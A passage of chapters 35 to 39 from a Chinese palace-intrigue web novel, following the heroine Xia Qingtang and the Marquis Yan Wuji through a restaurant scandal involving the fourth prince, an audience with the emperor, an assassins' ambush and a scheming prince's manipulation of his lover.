这一下可让朔灵汐抓到把柄了,她大喊,“大胆,竟敢以下犯上”,她手一挥,就要让身后的几个婢女侍从抓住夏清棠。 朔千钰虽很想好好治治这个不知天高地厚的丫鬟,但这始终不是个好场所,他强压住喉头泛起的恶心,“灵汐,这种场所,不可胡闹!”。 他眼神威慑安抚朔灵汐。 朔灵汐自然听到了周围人的议论,但她就是要把这个女人押入大牢! 朔灵汐无视朔千钰,声音更尖锐,“看什么!还不快把这个疯女人抓起来!”。 啪! 夏清棠瞪大双眼,兄妹互搏吗,有意思。 朔灵汐不可置信的瞪大双眼,居然敢扇她!居然敢动她的脸! “你!” 抬头对上的赫然是朔千钰阴狠的眼神,她丝毫不带犹豫的就要反手打回去。 朔千钰冷声下令,“把公主带进去!”。 侍从和丫鬟们此刻自然是听四皇子的,纷纷钳制住朔灵汐,推搡着进了屋子。 静…… 静的可怕。 吃瓜的群众摸摸鼻子,仍没有要回避的意思。 朔千钰深呼吸,“各位,再不回去吃菜,菜都凉了”。 从始至终几乎都是透明人的贺柏终于说话了,“四皇子难得这么善解人意,诸位莫要寒了四皇子的心”。 朔千钰呼吸又不平稳了,对上贺柏平静的目光,他差点一口血喷出来。 朔千钰咬牙切齿,“贺太傅过奖了”。 贺柏微微颔首。 夏清棠:“四皇子,贺太傅,我就不打扰你们了,你们快去吃饭吧”。 她赶紧不对劲儿了,看看天色,还早着啊,为什么心口会疼,服了。 朔千钰不敢再拦,这女人一张臭嘴尽会说些瞎话,找个日子,得把这女人给杀了。 朔千钰保持着自身温润气度,嘴角扯起恰到好处的弧度,“既如此,贺太傅,我们也快些进去吧”。 贺柏点头。 眼看故事的主角都散场了,吃瓜群众也都自觉返回,却听得楼梯口处传来砰的一声。 一位眼尖的吃瓜群众尖叫大喊,“镇北候府的表小姐晕倒了,流了好多血!”。 店小二着急忙慌招呼人要抬走夏清棠,混乱之中,又有人尖叫,“官兵来了!”。 “是来捉四皇子的!” 混乱中的混乱,朔千钰彻底凌乱了,不对,怎么可能是来抓他的,他可是皇子。 高贵奢华的满香楼一瞬间变成了猪圈,乱糟糟。 “四皇子把这姑娘打吐血了!” “还有他妹子!” “去他的!我……唔!” 朔千钰大怒,指着赶来的官兵就是下令,“还不快把这些闹事儿的人抓起来!”。 “看我干什么!抓人啊!” 朔千钰被围住了。 这些个官兵可不管他是几皇子,反正主子的令听就是了。 官兵甲面无表情,“四皇子,赎罪,抓的就是你”。 朔灵汐听到动静,尖叫着跑出,看到自己皇兄被抓,虽刚才被当众扇脸的不爽消退了些,但取而代之的是更强的怒气。 “大胆!你们这些刁民竟然敢……” 刁民大手一挥,铁血无情。 “一并带走!” 都不是什么好鸟。 “这位姑娘赶紧送到医馆,醒了就送到官府” 人群中,两道身影鬼鬼祟祟。 “汐姐,要我说,我刚才喊那两嗓子喊得太文雅了,就应该说狗屁朔千钰杀人放火要篡位啦” 江汐汐:“嗯” 辜战:“汐姐,要不要跟着那人” 江汐汐:“嗯” 两人不远不近的跟着担着夏清棠的担子。 “汐姐,她是有病还是中毒了” 江汐汐:“中毒” “什么!中毒了,天杀的,肯定是晏无咎那个狗屁煞神搞的鬼” 江汐汐:“安静” 两人就这样一路跟着来到一家医馆,医馆大夫左看右看,最后崩出一句,这姑娘被吓到了。 官兵一听,被吓到了,这可不就是精神上的殴打,怎么不算是四皇子打了这姑娘。 噗噗噗! 夏清棠又接连吐出好几口血,把官兵和大夫吓得脸色铁青。 大夫颤颤巍巍的说:“我给这姑娘开点补血的药” “开” …… 晏无咎听到消息的时候正在往京郊漕运处赶。 夏姑娘被打的呕血这几个字眼落入他耳中的时候,他脸色瞬间恐怖如斯,好似有狂风骤雨即将来袭。 晏无咎对着萧策说:“你先带兵过去,我去去就来”。 萧策不解的望着晏无咎策马奔腾的背影,为了别人,至于么。 第三十五章对味儿了 毕竟是皇子和公主,最终还是没有被押到官府,而是被带到了御书房。 而朔千钰是真的要气炸了,居然是皇宫!居然是御书房! 到底是谁要阴他,不可能是晏无咎,他一个蠢货,现在又被派去完成根本不可能做成的事情,自身都难保了。 到底是谁! “跪下!” 砰! 身体比嘴巴更诚实,朔千钰和朔灵汐齐齐跪下。 景明帝眼神阴鸷,两个孽障,蠢货! “老四,为何当众殴打女子” 这一番不分青红皂白的质问,加剧了朔千钰心中的不忿,又是这样,每次都是这样,这个蠢货到底是怎么当上皇帝的。 朔灵汐不忿抢答,“父皇,我皇兄没有殴打那个女人,那女人不配!”。 “闭嘴!宫里嬷嬷教的规矩都让狗吃了?” 景明帝:“老四,往日你最是稳重,父皇当然也不愿意相信你会干这种事,可是舆论已经掀起,证据也摆到父皇面前了,况且……”。 景明帝停顿一瞬,继而声音里带了些意味深长的味道,“况且,那女子还是你父皇我刚赏赐的镇北候府表小姐”。 “怎么?是对朕的决定不满意?还是说,又是灵汐给你吹了什么耳旁风” 朔千钰:“父皇恕罪,儿臣并无此意” 朔灵汐泪流满面的附和,“没有,父皇,我没有,都是那个女的,她一定是谁故意派来陷害皇兄和我!”。 景明帝冷笑一声,“方才有人来禀,说那女子昏迷不醒,吐血不止,浑身都是淤青,且朕的子民都说看到你们发生了争执”。 朔千钰脸色惨白,内心把自家父皇骂了个底朝天,在粪坑里浸了又浸,这样的蠢货竟然是他的爹,真是滑天下之大稽。 朔千钰正要开口为自己说点辩解的话,一直侯在一边的魏公公说话了。 “皇上,您可还记得上次军营我那干儿子靳兼仁和王侍郎?” “哎呦,也是命大,被火药炸了居然都活下了,就是两人打死都不承认自己与逆贼勾结,一口咬定就是镇北候私藏军火” 景明帝自然记得这一茬事,他示意魏公公继续说。 魏公公贼眉鼠眼,“皇上,您看,今日这事儿还真说不定就是那晏无咎布的局呐”。 “据说,那表小姐说镇北候府日日吃馒头就咸菜,都是因为镇北候把钱都补贴给军队了” 看到景明帝脸色变了,朔千钰内心觉得自己要发力了。 他抢过魏公公的话头,面上挂出一副悲痛的神色,“父皇,那表小姐说这番话不就是在打您的脸吗!儿臣当时也是气急,话语才冲动了些”。 朔灵汐抽抽嗒嗒,“父皇,那晏无咎如此任由自己府上的人造谣生事,就应该撤了他的职”。 这样,晏无咎就能落入她的手中任她折磨了。 蠢货! 朔千钰对自己这个妹妹的脑子再次有了一个新的认知,难道是父皇不想革了晏无咎的职吗?明明是父皇根本就不敢。 毫不意外,朔灵汐一番话落下,景明帝铁青的脸彻底发黑。 “父皇,你得为我们做主啊” 朔灵汐还在喊叫,朔千钰已经汗流浃背了。 景明帝大手一挥,“把她拖下去,叫管教嬷嬷好好教教她规矩”。 立马来了几个人把嚎叫的疯公主拖下去。 景明帝压迫的目光重新看向朔千钰,“老四,你来说说,该不该革了镇北候的职”。 朔千钰:“父皇,依儿臣看,这并不妥当,镇北候现在声望与兵权皆在,冒然革职,想必会遭到反噬”。 景明帝:“朕记得你和镇北候是多年的好友” “……” 朔千钰现在竟有些期待父皇将话题转回到刚开始。 “是” 景明帝继续,“镇北候帮了你许多”, “……是” 景明帝:“老四,你不仁义啊” 朔千钰瞬间流下两行清泪,“父皇,儿臣和镇北候的关系就算再好,儿臣也得先为我们的王朝考虑啊”。 “父皇,儿臣最衷心的始终都是您和您身后的朔曜王朝啊!” 御书房内墨香翻涌,还有一丝极淡的幽香,景明帝眼神浑浊了几分,突然间哈哈大笑。 “老四,父皇自然信你的” 魏公公凑近景明帝小声提醒,“皇上,贺太傅还在门外”。 景明帝像刚想起来,“快把贺太傅请进来”。 朔千钰放松下来的神经又紧绷起来,他可没忘了在酒楼时贺柏这张嘴都说了什么。 “老四,你先退下吧” “父皇,我…” “你退下!” “…是” 朔千钰不甘心的退出御书房。 …… 晏无咎一路策马赶到医馆,入眼便是夏清棠浑身是血,孤零零的躺在简陋的破担子上。 他脸色发紧,走到仍旧昏迷的夏清棠面前,蹲下身子,内心思忖,是该让安瑾给她看看了。 别死在他这了。 医院大夫端着熬好的补血药出来就看到了传说中的穷鬼镇北候。 大夫:“这位姑娘该喝药了” 晏无咎:“嗯,我来” 晏无咎自然的从大夫手里接过药碗,扶起夏清棠,就要给她喂药。 目光却不受控制地落在她沾着血渍的唇上,他干咳两声,“喂,夏清棠,我要给你喂药了,你快张嘴”。 “你不张嘴?那就别怪我了” 一番折腾,夏清棠现在靠在晏无咎怀里。 晏无咎一手捏住夏清棠的下巴,一手持着碗,汤药与唇近在咫尺。 晏无咎很专注很小心,手却还是碰到了夏清棠,碗中的汤药撒出,流到夏清棠脖颈处。 他下意识拿手拂去,手指触碰到细腻肌肤的刹那,他愣神一瞬,又面无表情的拿出手帕。 “晏无咎” “你在干嘛” 晏无咎手顿住,神色依旧淡然,“本侯爷在伺候你喝药”。 “看不到?” 夏清棠避瘟神似的迅速远离晏无咎,又温顺的笑了笑,“谢天谢地,真是谢谢你了”。 【晏无咎这么好心?我咋一点都不信呢】 晏无咎冷笑,“怕你死我这”。 夏清棠松了一口气。 【对味儿了对味儿了,这才符合晏无咎的风格】 第三十六章鸟屎 晏无咎起身,身影竟莫名有些萧条。 【晏无咎抽风了?装什么深沉】 夏清棠察觉到身上仍有隐隐痛意,她眨眨眼,可怜的看向晏无咎,“侯爷,你是不知道那些人是怎么欺负我的”。 晏无咎眉峰皱起,语气却依旧冷淡,“说说,咋欺负你的”。 夏清棠吧啦了一堆,说的口干舌燥,不自觉的舔了舔了干裂的嘴唇。 晏无咎随手将一旁的热茶递过,语气带了些温度…和混不吝,“你不是会打架么,下次直接上去打他们啊”。 夏清棠表情僵住,又很快变成一副楚楚可怜为别人考虑的样子。 “侯爷~可是…可是四皇子是你的好兄弟啊,还有灵汐公主,那么喜欢你,我怎么能打他们呢” 看到夏清棠泛红的眼眶和眼尾的泪珠,晏无咎脑子昏了,他开口,“能打就打,打不过就喊人”。 【不好!怎么会有一股王霸之气】 晏无咎几不可察的轻扯唇角,浑身的王霸之气更加浓郁,“欺负我镇北候的人,岂不就是在打我的脸,你出门在外,可千万得护好本侯的脸面啊”。 夏清棠抓住晏无咎的双手,神情认真,“侯爷,你放心吧,我肯定会维护好您的脸面的”。 【有我这样的人,你可就偷着乐吧】 晏无咎点点头,余光瞥到一旁欲言又止的大夫,“有什么事就说”。 大夫摆摆手,“侯爷,这些东西您拿回去,还有这些,给这位姑娘”。 晏无咎疑惑,“这是何意”。 大夫叹气,一副侯爷你不必逞强的模样,“侯爷,您的事情我们都知道了,整日吃馒头咸菜对身体不好,更何况还是您这样要带兵打仗的,您就收下吧”。 大夫又朝夏清棠说:“姑娘,这些是给您的”。 看到夏清棠那副骄傲的神情,晏无咎了然,他语气依旧冷的一批,说出来的话却有了些温度,“你有心了,这些吃食我就收下了,那些银两你自己收好”。 大夫还想推让,高手到面前男人森然的气息,他觉得,这样也不是不行。 夏清棠觉着自己身上不疼了,便站起身,走到晏无咎面前,微微仰头,落日的余晖映在她的面容上,有点睁不开眼,她眯着眼看向晏无咎,声音带上了些肆意,“晏无咎,怎么样,开心吧”。 晏无咎被夏清棠这笑眼弯弯的模样晃了眼,一时之间并没有回答夏清棠。 以为晏无咎没理解自己的意思,夏清棠又向前走了一步,声音更清亮,“晏无咎,我是说,这可是我在外面维护你脸面的成果”。 【晏无咎怎么这么笨】 晏无咎被搅得心神不宁,声音罕见的带上了慌乱,“哦…我…我谢谢你”。 “……” 【给我整不会了】 夏清棠往后退了几步,“侯爷,你真是太善良了,真的”。 晏无咎绷紧下颚线,“嗯”。 一直守在旁边的官兵只觉得自己好像知道了什么不得了的事情,镇北候的龙阳之好传言好像是假的!! 官兵甲:“镇北候,夏姑娘,我们还需要入宫一趟”。 晏无咎知晓,是那皇帝要质问给下马威了。 夏清棠知道,是朔千钰绿茶发言了。 不对!夏清棠猛然想起,有俩神人说她不能在狗皇帝面前露脸,不然会死翘翘。 不怕一万就怕万一,还是得找个东西遮一遮,夏清棠随手掏出手帕绑在两侧耳后。 晏无咎不理解也没发问。 …… 前脚刚踏入皇宫,后脚竟然遇到朔砚辞。 朔砚辞意味深长的盯着遮着脸的夏清棠,没有几日就是十五了,这女人倒是一点都不急,都能近晏无咎的身了,会拿不到玉佩? 晏无咎这是有多宝贝这块玉佩,还是说,夏清棠这个蠢女人真的叛变了。 “镇北候,多日不见,别来无恙啊”,他又看向夏清棠,“这位姑娘想必就是你府上的表小姐了吧”。 晏无咎:“嗯” 朔砚辞:“镇北候还是如此惜字如金啊” 夏清棠憋笑,【不得不说,这些人说话一个比一个有意思】。 朔砚辞:“这位表小姐可是姓夏?” 夏清棠一噎,“嗯”。 朔砚辞:“这位夏姑娘想必也是得了镇北候的亲传”。 【想放屁就直接放,还非要放一个可溜拐弯屁】 晏无咎又听到新奇的词汇,这个女人,脑子里装的东西倒是有意思。 两人都不想搭理朔砚辞,偏偏这朔砚辞是个脸皮厚的。 朔砚辞微笑,“想必镇北候你二人也是前往御书房,我们三人刚好可以一道过去”。 晏无咎目光冰冷,这个男人实在是碍眼的很。 朔砚辞自然看出晏无咎不爽,可偏偏晏无咎越不爽,他就越爽。 快哉!快哉!看晏无咎吃瘪简直是快哉至极! 朔砚辞快意的走在最前方。 啪! “嗯?这是何物” 稀的,白的,掺着灰绿色。 夏清棠贴心回答,“这是鸟屎”。 朔砚辞笑不出来了,他不可置信的闭了闭眼,再睁眼又是一派气定神闲,“无碍,还是去见父皇要紧”。 砰! 撕拉! 朔砚辞两只小腿肚突然一阵抽疼,整个人砰的撞入大地的怀抱,又刚好倒地时衣摆被晏无咎踩在脚下,现在整个人浑身破烂,香肩半露。 夏清棠张大嘴巴,“麻耶”。 【露肉了,肉挺白,还有,堂堂皇子穿的衣裳布料居然这么差,给了晏无咎释放王霸之气的机会】 晏无咎嘴角抽搐,选择忽略心声后半句,只在心中暗骂朔砚辞心机男。 晏无咎俯视嘲讽,“四皇子今日是有些倒霉,这身装扮也实在见不得人,想必还是得回去换身衣服”。 朔砚辞狼狈起身,面色铁青,却还是强迫自己保持风度,“看来是不能和你们二人同行了”,随即快步离开。 晏无咎!哼,不过是仗着手中有军队,很快,很快你就笑不出来了,到时候,他倒要看看你还能不能嚣张起来。 朔砚辞目光狠厉,又想到夏清棠这几次的异样,他思忖,这个女人不能留了。 不听话的东西,就该全身溃烂而亡。 啪! 又是一滴鸟屎。 思绪彻底崩塌,朔砚辞抓狂,“蠢鸟,死畜生……”。 第三十七章抠搜小气阴阳怪气 夏清棠默默朝晏无咎竖起大拇指。 晏无咎自朔砚辞离开后,眼睛就一直追着夏清棠,现在看到夏清棠满眼的的笑意和竖起的大拇指,他只觉得内心充实了许多。 二人来到御书房,看到御书房外一道熟悉的身影。 哦豁,这不是堂堂四皇子吗?怎么在罚站。 两人直接略过朔千钰,进了御书房。 朔千钰暗自咬牙,晏无咎是眼瞎吗,还有那个死丫鬟,没规矩! …… 御书房内。 贺太傅还在。 景明帝见到两人,先是象征性的的关怀两句,才开始聊今日满香楼一事。 “朕倒是没想到,镇北候会陪着这丫头进宫”,景明帝眼底兴味十足,说来也是,他到现在也没见过这丫鬟的脸。 “你为何又遮着脸” 夏清棠:“回陛下,还是上次入宫时的症状” 景明帝:“哦?好不容易镇北候身边能有个如此称意,朕看得留在宫中让御医给你好好治治” ?! 夏清棠怯懦的笑了笑,“民女谢陛下恩典,只是我这不是什么大事儿,若是在宫中叨扰了各位贵人,那真是罪该万死了”。 景明帝:“朕在这,谁敢说一句风凉话” 朔砚辞微微躬身,“皇上,她还不懂什么规矩,在宫中确实是不妥”。 景明帝脸色变了,“罢了罢了,那便只让御医看看”。 晏无咎:“不必了” 夏清棠一整个惊呆。 【这么狂,晏无咎这么狂,难怪这皇帝看他不顺眼,我记得好像有一次还派晏无咎去什么京郊漕运处干活】 【还真把晏无咎给为难到了】 【不是,虽然这样不想就拒绝很爽,但是会被穿小鞋的啊!我不想被穿小鞋】 晏无咎顿了顿,在几种复杂目光的注视中,他开口,“已经给她配好药,皇上你不必太过忧心”。 “像您这样伟大的皇上,整日为家国事业而忙碌,臣又怎能让自己的人为您添麻烦” 这话一出,在场几人脸色俱变。 晏无咎会拍马屁了!这是几人统一想法。 景明帝脸色异彩纷呈,晏无咎拍他马屁,他自然开心,可是内心又更加忌惮,晏无咎虽带兵打仗能力很强,但与人来往却是差的很,这也是朝堂上诸多臣子看他不爽的原因之一。 现在晏无咎又会打仗,又会拍马屁,很难不让他更忌惮。 御书房内一片寂静,给自沉浸在自己的思绪里。 夏清棠真的要笑死了。 【像您这样伟大的皇上~伟大的,嘎嘎嘎!晏无咎这个神人拍马屁居然这么搞笑】 晏无咎耳根爆红,这个女人笑这么大声,真是聒噪。 【不过,晏无咎居然舍得松一松那张高贵的毒嘴了,九九成,稀罕物~】 夏清棠目光落在晏无咎唇上,毫不避讳,【不会是舔嘴唇被自己毒到了吧】。 落在他唇上的目光实在是太灼热,双唇泛起烧意,晏无咎不自觉抿抿唇,脑海中却又浮现出他与夏清棠拥吻的画面。 夏清棠始终注视着晏无咎,她皱眉,晏无咎这副神情…… 【我靠!晏无咎这是发春了!哇趣,这不妥妥就是少男怀春名场面吗?】 【烧红的耳根,闪烁的目光,涩涩的表情】 夏清棠的双眸越来越兴奋。 【果然是个闷骚男,这种严肃的场景都能臆想】 晏无咎第一次感觉自己像个毛头小子一样蠢。 “咳!难得镇北候如此为朕考虑,朕自然不能辜负镇北候的一番心意,既如此,那这事便罢了” “那今日满香楼一事,镇北候如何看待啊” 晏无咎:“臣也是闻讯赶来,并不知事情的来龙去脉,不好妄下定论” 景明帝点头,目光转向遮着面的女子,“你来说”。 夏清棠又是一番声泪俱下。 “吧啦吧啦……” “都是我的错,像我这样低贱的下等人就不应该去那种上等人才能去的酒楼吃饭” 景明帝目光浑浊,突然勃然大怒,猛拍桌案,“大胆!把朔千钰给我押进来!书都读进狗肚子里了”。 砰! 朔千钰狼狈倒地,他愤恨的盯着夏清棠和厌恶就,一对狗男女! 朔千钰跪地,“父皇,儿臣真的没有…” 景明帝打断他,大手一挥,就让人把朔千钰给押下去。 在场几人了然,押也是往朔千钰自己住处押。 御书房静了许多。 景明帝:“哈哈哈,让镇北侯和夏丫头见笑了” “行了,你们都退下吧,朕乏了” 景明帝态度上的迅速转变让几人诧异,跟吃了毒菌子一样,想一出是一出。 朔砚辞换了身衣裳火急火燎的赶来,发现已经散场了。 “……” 魏公公:“三皇子,皇上乏了,今日个没您事儿了,您回吧” 朔砚辞转身离开,看到晏无咎和夏清棠离开的身影,他目光发狠,今日这恨必须得解一解。 夏清棠凑近晏无咎,声音里带着期待和不易察觉的小心翼翼,“侯爷,什么时候再带萧公子来府上做客啊”。 晏无咎:“他没时间” 夏清棠撇撇嘴。 【没时间没时间,再没时间,她就要暴毙而亡了】 【话说,现在直接告诉晏无咎自己身患重病,需要神医治病的可行性有多大】 夏清棠又悄眯眯的离晏无咎更近了点,“侯爷,不瞒你说这几次给你看天象算命确实是耗费我太多精力,身体也有所亏损”。 晏无咎挑眉,“所以呢,是不是需要本侯爷给你好好补补身子”。 夏清棠:“啊对对对,侯爷,你真聪明” 晏无咎声音又低又哑,嘴角还噙着一抹笑意,“不是什么大事儿,回去就找个大夫给你多配点补身子的药材,给我的救世主好好养养身子”。 夏清棠一听,不对啊! “侯爷,实不相瞒,自从上次知道萧公子会医术后,我就想让萧公子给我把把脉” 晏无咎毫不留情打断的打断夏清棠的幻想,“他不会医术,骗你的”。 这话一出,夏清棠刚还挂着的笑容瞬间垮掉。 【都帮了晏无咎这么多了,居然连这都要骗我,萧公子那样一个光风霁月的人怎么会骗我】 【晏无咎这个抠搜小气阴暗阴阳怪气老男人!】 【就知道靠不住,还是得我主动出击】 才见了一面就能把人给夸得天花乱坠,他这个日日相处的倒是成了个抠搜小气阴阳怪气老男人,晏无咎眼底翻涌着闷火,脸色黑的发沉。 他现在很不爽。 第三十八章没事儿打打架 两人之间的气氛有些微妙,各自都闷着火。 夏清棠越走越快,晏无咎也不想挨着这女人,两人现在隔着老大远。 一路无言,到了皇宫外,却又坐到一辆马车内。 晏无咎觉得这个女人实在是不知好歹,他好心提醒她萧策不会医术,并且也已经决定要让安瑾来给她看看,这个女人是猪吗,居然闻不出来萧策身上一点药味儿都没有。 夏清棠很无语,晏无咎这个男人实在是小心眼又抠搜,她真是看错人、帮错人了,抠货一个。 她都从萧公子身上闻到药味了,而且上次去军营明明听到有人喊萧公子萧大夫了,给她看个病又要不了他晏无咎的命。 切! 马车内静得可怕。 夜色在不断蔓延,晚风习习,带着些凉意,两人的恼意也淡了些。 突然,马车一阵晃荡,外面车夫发出爆鸣惨叫,骤然间,马车颠簸的更为恐怖,还在生闷气的两人猛然反应过来,极力稳住身形,却还是不敌马车晃荡的太过凶猛,两人对视一眼,当下立断。 “跳!” 唰唰唰! 就在两人稳住身形要跳下马车的时候,数道箭矢噗噗穿透车厢木板,夏清棠瞪大双眼,这阵仗真踏蝶的要命! 噗噗噗! 冷箭仍在不断被射发,两人一时间竟被困在这破烂不堪的马车里,在外驾车的车夫早已坠车,现在是一匹受了惊的疯马在道上四处乱窜。 狭小的车厢也已经不能再遮挡两人,随着木板崩裂的声音响起,整个马车彻底散架,一瞬间,数道持着长剑的身影窜出,围剿晏无咎和夏清棠。 “夏清棠,接住!” 晏无咎将身上的长剑扔给夏清棠,自己掏出一把匕首,两人背对背,与黑衣人开始了厮杀。 夏清棠身法灵动,轻巧的窜梭在黑衣人间,一把长剑虽有些手生,但砍起人来是毫不逊色,剑起剑落间,黑衣人已消大半。 小命危在旦夕,肾上腺素飙升,夏清棠虽是第一次拿剑杀人,却已是杀红了眼。 晏无咎很意外,看到夏清棠游刃有余,他稳下心神,手持短刃发了狠的刀人。 两人脸上身上皆是血渍,身上传来痛意,分不清血是敌人的还是自己的。 嘶! 夏清棠有些力不从心,今天吐的血太多了,现在腿有点软,一时不察,肩膀被黑衣人刺中。 靠北,怎么又是肩膀! 夏清棠咬牙,这群黑衣人,踏蝶的认识她啊! 那眼神太熟悉了,这绝对是朔砚辞的人,夏清棠不再抠门,下一瞬,飞刀连环而出,寒光乍现,直击黑衣人要害。 噗噗噗! 黑衣人团灭。 晏无咎瞳孔阵地,这个女人真是恐怖如斯。 夏清棠没空搭理晏无咎,她现在满心满眼都是捡回自己的飞刀,本来以为这群人是冲着晏无咎去的,没想到她也是要灭口之一。 烦人,打造这些飞刀可花了她不少银两,她的秘密小武器。 晏无咎却以为夏清棠还在生自己的气,他抿了抿唇,“夏清棠”。 夏清棠没听到,仍在专心捡自己的小夏飞刀。 “一、二、三……少了五个,啧!” 夏清棠正不耐呢,面前就出现一双沾着血渍得大手,上面是她少了的五个飞刀。 【原来是这个狗男人拿了】 等着夏清棠道谢的晏无咎眼皮跳了跳,是他多情了。 夏清棠抬眼看着晏无咎,眼神罕见的冰冷,晏无咎心底一慌,下意识开口就要解释关于萧策的事,却看到对面的夏清棠猛地抬手甩出一枚飞刀。 “铮!” 飞刀和射来的冷箭双双落地。 夏清棠薅着晏无咎就是跑。 好在,那一箭之后就没有其它了。 呼—— 夏清棠松了一口气,看到自己还抓着晏无咎的手,又甩狗屎一样甩开。 【狗男人,你姑奶奶又救了你一命,不行,不捞点我心里难受】 晏无咎没等夏清棠开口就率先开口了,“你救了我”。 哦? 夏清棠微愣。 【晏无咎这是开智了,怎么不说“就算你不救我,我也不会死”,切~】 晏无咎想起了俩人的第一次见面,眸底浮上笑意,他又重复了一次,“你救了我,说吧,想要什么,还是不图回报,就图陪在我身边?”。 【虽然很不对劲儿,但是,蠢货才想陪在你身边!】 夏清棠内心期待的同时又升起些警惕,她问,“怎么?不害怕我狮子大开口,坑死你这个穷鬼侯爷?”。 晏无咎嘴角笑意扩大,低沉的声音里也带上笑意,“我不是怂货”。 夏清棠挑眉,呦呵,她不再和晏无咎打嘴仗,“行,既然你说萧公子不会医术,那你就把你身边所有会医术的人找来,让他们给我好好补补身体”。 “还有、你以后休想再命令我!” “另外,你的暗卫分我几个” “至于钱吗,我就不跟你要了,那样反而让你这个阎王脸显得可怜了” 晏无咎突然向前走了一步,离得夏清棠更近些,他注视着夏清棠灵动的双眸,良久,就到夏清棠以为这厮要反悔。 “嗯,行,你说的都可以” 在晏无咎深邃的目光中,夏清棠突然意识到一件很重要的事情。 【万一晏无咎身边的神医解不了她的毒怎么办,朔砚辞也没有能根治的解药,只有能缓解的安心丸】 【完球】 夏清棠沉思了一会儿,突然郑重的对晏无咎说,“还有一个”。 晏无咎:“你说” 夏清棠又摆上深沉的表情,“你也知道我为了救你帮你,耗费了不少心神和精力,就连身体都败坏了不少,其实有一缓解之法”。 “没事儿就让我摸摸你,或许我们经常打打架也行” 晏无咎低笑出声,一股无法言说的愉悦翻涌上心头,他完全忽略后半句话,嗓音低哑,“都可以,你想怎么摸都可以”。 夏清棠下巴掉了,她不可置信的搓了搓耳朵,又不可置信的揉了揉眼睛,整个人受到重创般往后退了好几步。 天爷,她甚至觉得刚才那一番忽悠人的话都多余说,还有,这个晏无咎怎么又是一副少男怀春的模样,不会是喜欢她吧。 夏清棠摩挲着下巴,思考着晏无咎喜欢上自己的可能性。 她的嘴角越扬越高,心里甚至生出一丝丝得意,她对着晏无咎眨巴眨巴双眸,又刻意夹了夹嗓子,“晏无咎,你是老男人么?”。 晏无咎耳根迅速烧红,“十八,可不是什么老男人”。 “嗷~原来你才十八” 晏无咎耳根上那色儿,夏清棠就是不想注意到都难,天,晏无咎不会真的喜欢上她了吧。 夏清棠心底更加得意,如果真是喜欢她的话,那可就好办多了,嘿嘿嘿。 第三十九章至高意义就是你开心 晏无咎不是一个愚钝的人,他意识到,他对这个像狐狸一样狡黠的女人产生了不一样的情感。 她不是说是他的救世主吗,那他们两个就是天造地设的一对儿。 两人回到侯府,至于那些死掉的黑衣刺客,已经报官了,让他们处理。 …… “菀菀,你知道的,我做这些都是为了你,我人生的一切目标都是为了让你开心” “菀菀,我们可是一家人” 皇宫里朔灵汐的住处,苏菀又借着探望公主的由头和朔千钰会面了。 前几日发生的事情她知晓了,那个夏清棠的一番言论很明显就是要坑害朔千钰,夏清棠和朔千钰无冤无仇,那就只能是受人指使了。 朔千钰懊悔抱头,声泪俱下,“菀菀,都怪我都怪我,好在父皇还是向着我的,并没有多加责怪”。 “菀菀,你放心,我一定会让你当上皇后” 听到这一番番感人至深的情话,苏菀更加认为自己这一世没有选错男人,她抓起朔千钰的双手,“千钰哥哥,我有一件事要告诉你”。 朔千钰满脸深情,“菀菀,你说”。 苏菀:“夏清棠朔砚辞的人,是朔砚辞派到晏无咎身边的卧底” “夏清棠是朔砚辞的人?夏清棠竟是朔砚辞的人!怪不得怪不得” 朔千钰瞬间将一切都串联起来,“怪不得夏清棠说的话总是绵里藏针,句句把我将刀刃上推,怪不得在满香楼那日会有人报官,明明当时晏无咎身处京郊”。 “好啊,朔砚辞这个奸诈小人,居然如此阴险!” 好一个朔砚辞,明面上和他结盟,背地里却想尽办法坑害他,装,真会装。 朔千钰调整表情,“菀菀,你真的好厉害,每次你告诉我的事情都是对的,能有你这样的女人可真是我朔千钰毕生修来的福分”。 苏菀羞涩的笑了笑,“千钰哥哥,此生能遇到你,才是我修来的福分”。 朔千钰话锋一转,又带上些试探,“不过,菀菀,你是怎么知道这么多事情的”。 苏菀表情僵了一瞬,犹豫了几秒,她说,“是我父亲”。 朔千钰了然点头,原来是苏丞相啊,没想到苏丞相居然知道这么多,看来苏丞相的实力确实是不容小觑。 不过,知道那么多又有什么用,自己的宝贝女儿还不是在这儿死心塌地的追随自己,有苏菀在,那苏丞相岂不也是手到擒来。 朔千钰抱住苏菀,语气郑重,“菀菀,你就是上天送给我最好的礼物,我发誓,我人生的至高意义就是让你开心”。 苏菀激动的回报住朔千钰,她就知道,她就知道朔千钰和上一世一样一直深爱着自己。 两人紧紧相拥。 在苏菀看不到的地方,朔千钰眼神轻蔑,这种整日拘泥与情爱的女子,可真是好拿捏,随便几句好听的情话,就能哄得死心塌地。 “菀菀,岳父大人近日可好?” 苏菀脸颊红的更厉害,娇嗔道,“你怎么都称呼岳父了,让别人听到多不好”。 朔千钰一口低音炮,“这里又没有外人,再说了,菀菀,你不是迟早都是我的人吗?”。 苏菀看了看四周,压低声音,“千钰哥哥,我们两个每次在你妹妹宫里见面,你妹妹会不会……”。 剩下的话不言而喻,朔千钰语气自信,“你放心,她不敢”。 “菀菀,你放心,这可是我皇妹,孰轻孰重,她知道的,我们可是一荣俱荣一损俱损啊” 苏菀满眼怀疑,她还是不放心的嘱咐,“可是,满香楼这次的事”。 朔千钰:“满香楼这事儿,你也说了,都是朔砚辞这个贱男人搞的鬼,派夏清棠那个贱女人故意挑拨生事” 听到这话,苏菀隐隐觉得有些不适,但一抬眼看到朔千钰深情注视她的双眸,她瞬间将所有不适抛到脑后,“千钰哥哥,你说得对”。 看到苏菀如此乖巧,朔千钰满意的点头,他发出一声喟叹,“菀菀,上天让我遇到你,可真是太棒了”。 苏菀面上喜色更浓,她知道,她这一世肯定是选对人了,她在心底暗暗发誓,这一世一定会让千钰更加顺利的登上皇位。 苏菀:“千钰哥哥,那晏无咎你也的小心点” 朔千钰满不在乎的应了一声,晏无咎?一介草包,有什么好忌惮的,不过是行军打仗厉害了些。 苏菀转念一想,前世即使晏无咎一直在,千钰哥哥不照样也是畅通无阻的登上皇位,这世晏无咎必定也掀不起什么水花,“不过千钰哥哥你这么厉害,其实只需稍加防范这晏无咎即可”。 这番话说的朔千钰浑身舒畅,这个女人可真是合他的心意,是该给点甜头。 只见朔千钰突然低头逼近苏菀,深情注视苏菀溢满仰慕的双眸,然后,嘴贴嘴,两人忘情相吻。 良久,两人低喘着分开。 苏菀小鸟依人的依偎在朔千钰胸膛,声音娇媚,“千钰哥哥”。 朔千钰低笑,“菀菀,你真甜” 苏菀娇羞的轻锤朔千钰胸口。 